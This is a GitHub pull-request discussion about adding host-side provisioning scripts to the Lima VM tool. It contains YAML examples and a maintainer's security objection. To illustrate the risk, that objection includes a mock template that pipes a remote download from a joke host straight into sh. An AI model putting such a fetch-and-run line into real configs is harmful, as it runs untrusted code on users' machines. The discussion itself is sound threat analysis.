lima icon indicating copy to clipboard operation
lima copied to clipboard

Add Host Provision to `default.yaml`

Open norio-nomura opened this issue 1 year ago • 11 comments

Host provisioning scripts are executed every time before starting the instance.

  • the working directory is the instance directory {{.Dir}}
  • the runtime.GOOS is used to determine the host OS. e.g. darwin for macOS, linux for Linux, and windows for Windows.
  • if wait is true and the script exits with a non-zero status, the instance start will be aborted.

shell and script can include these template variables:

  • {{.ScriptName}} that represents the temporary script file path.
  • {{.Index}} that represents the index in the list of host provisioning scripts (0-based).
  • template variables available in limactl list --format command.

🟢 Builtin default: null

e.g.

hostProvision:
- debug: false      # change the temporary script location to {{.Dir}} and not delete it after execution. default: false
  hostOS: darwin    # string or []string. The script is executed only on the specified host OS.
  script: |         # passed to the shell as temporary file argument if exists
    xattr -w com.apple.metadata:com_apple_backup_excludeItem true {{.Dir}}/{basedisk,diffdisk}
  shell: bash       # default: null
  wait: true        # wait for the script to finish before starting the instance. default: true

If no shell is given, the default shell is selected based on the host OS. If the default shell is not located on the PATH, fallbacks to sh (when host OS is not windows) or powershell (when host OS is windows).

shell can be either:

  1. Builtin / Explicitly supported keywords
Keyword Command run internally Description
bash bash --noprofile --norc -eo pipefail {{.ScriptName}} The default shell when host OS is not windows.
sh sh -e {{.ScriptName}}
pwsh pwsh -command ". '{{.ScriptName}}'" The default shell when host OS is windows.
powershell powershell -command ". '{{.ScriptName}}'"
cmd cmd /D /E:ON /V:OFF /S /C "CALL "{{.ScriptName}}""
  1. Template string: command [...options] {{.ScriptName}} [...more_options] {{.ScriptName}} is replaced with the temporary script file path

there are shorthand forms for the builtin shells:

- bash: echo "executed by bash"                    # interpreted as {shell: bash, hostOS: [darwin, linux], script: ...}
- sh: echo "executed by sh"                        # interpreted as {shell: sh, hostOS: [darwin, linux], script: ...}
- pwsh: Write-Host "executed by pwsh"              # interpreted as {shell: pwsh, hostOS: [windows], script: ...}
- powershell: Write-Host "executed by powershell"  # interpreted as {shell: powershell, hostOS: [windows], script: ...}
- cmd: echo "executed by cmd"                      # interpreted as {shell: cmd, hostOS: [windows], script: ...}

e.g.

- bash: | # Post a notification when an error by the hostProvision script is detected
    jq=/opt/homebrew/bin/jq && test -x $jq || exit 0
    tail -n0 -F ha.stderr.log | while read -r line; do
      msg=$(echo "$line"|$jq -er '
        select(.hostProvision and .hostProvision != {{.Index}})| # select log lines from other hostProvision scripts
        select(.level == "error")|                               # select error log lines
        .msg
      ') || continue
      osascript -e "on run argv" -e "display notification (item 1 of argv) with title \"Lima\"" -e "end run" "$msg"
      echo Posted a notification
    done
  debug: false
  hostOS: darwin
  wait: false

This PR is an alternative solution to #2159.

norio-nomura avatar Feb 03 '24 14:02 norio-nomura

The failing tests seem to be an issue with the build cache. 🤔

norio-nomura avatar Feb 03 '24 14:02 norio-nomura

The failing tests seem to be an issue with the build cache. 🤔

Fixed pkg/hostagent/host_provision.go:11:2: package slices is not in GOROOT issue

norio-nomura avatar Feb 04 '24 01:02 norio-nomura

https://github.com/lima-vm/lima/actions/runs/7770635361/job/21191054495?pr=2180#step:9:20

time="2024-02-04T01:12:50Z" level=fatal msg="failed to download "[https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2](https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2/)": Get "[https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2](https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2/)": net/http: TLS handshake timeout"

Is this a temporary failure?

norio-nomura avatar Feb 04 '24 04:02 norio-nomura

test/vz (fedora.yaml) passes on my local machine just now. Could someone please re-run the test?

norio-nomura avatar Feb 04 '24 05:02 norio-nomura

Host provisioning scripts are executed every time before starting the instance.

I wish you would create an issue first to discuss a new feature, and how it is going to be implemented.

I think we discussed host provisioning scripts before, and rejected the idea due to security considerations, but I couldn't find any issue or discussion related to it right now.

Host provisioning scripts creating a Lima instance from a URL may now run arbitrary code on the user's machine:

limactl start https://templates.r.us/cool-vm.yaml

Now, installing remote templates without verifying them first is already somewhat dangerous:

mounts:
- location: /
  mountPoint: /mnt/host
  writable: true
ssh:
  forwardAgent: true

But executing a provisioning script directly on the host also lets you run arbitrary other code, and gives you access to any unlocked keychains. Without this feature there is no mechanism that would allow a Lima instance to execute additional code on the host (afaik).

If we agree on supporting host scripts at all, then I would like to see additional safeguards implemented:

When a new instance is created with a host provisioning script in the template, limactl needs to ask permission:

$ limactl create https://example.com/vm.yaml
WARNING: The template includes a provisioning script that will run on your local machine!
? Do you want to run the script on your machine every time before the instance starts?

There should be no default answer, and if running with --tty=false the answer should be "no". Not sure if that should abort the instance creation.

I think it may be a good idea if the template could include a message for the host script, that would be displayed before the prompt:

hostProvision:
- message: |
    Do you feel lucky, punk?

    Many exciting script actions, chosen at random:
    * Buy a new NFT from your unlocked wallet
    * Install remote access trojan
    * Get free bitcoin
    * Watch another user's webcam
    * Encrypt your hard drive and pay ransom

    Never have a boring day again!
  script: "curl https://russion.roulette/script-of-the-day | sh"

I have more feedback on the implementation details, but I would like to hear first what others @lima-vm/maintainers think about supporting host scripts at all.

This PR is an alternative solution to https://github.com/lima-vm/lima/pull/2159.

From a risk/benefit point of view I would rather see #2159 implemented, but I do understand the appeal of the more powerful mechanism. I'm just afraid that it will be abused for remote code execution exploits.

jandubois avatar Feb 04 '24 06:02 jandubois

test/vz (fedora.yaml) passes on my local machine just now. Could someone please re-run the test?

I've triggered a re-run.

jandubois avatar Feb 04 '24 06:02 jandubois

WARNING: The template includes a provisioning script that will run on your local machine!

👍 Maybe we should print this note for mounts (except /tmp/lima) too

AkihiroSuda avatar Feb 04 '24 07:02 AkihiroSuda

Maybe we should print this note for mounts (except /tmp/lima) too

I was going to suggest this (including adding the prompt), but it is outside the scope of this PR. We then need to add some additional options like --enable-writable-mounts and --enable-host-scripts to prevent these prompts for automation. But we can bike-shed this in a separate issue.

jandubois avatar Feb 04 '24 07:02 jandubois

I understand that Host Provision is a security issue when limactl is used to download templates directly from the net. For my personal use, I think it is better to enable Host Provision only when it is written in _config/default.yaml.

norio-nomura avatar Feb 04 '24 07:02 norio-nomura

Updated to the use of HostProvision in lima.yaml to be opt-in. I believe that the procedure to enable HostProvision in lima.yaml should be considered separately. I would be happy to see the review go forward with this change.

norio-nomura avatar Feb 04 '24 12:02 norio-nomura

This PR (feature) seems like overkill to me, if it is only going to be used to exclude the lima directory from backup?

We had similar feature requests for installing kubectl, but opted to do it on the host instead of from the template.

afbjorklund avatar May 05 '24 07:05 afbjorklund

I have lost interest, so I am closing this PR.

norio-nomura avatar Jun 24 '24 03:06 norio-nomura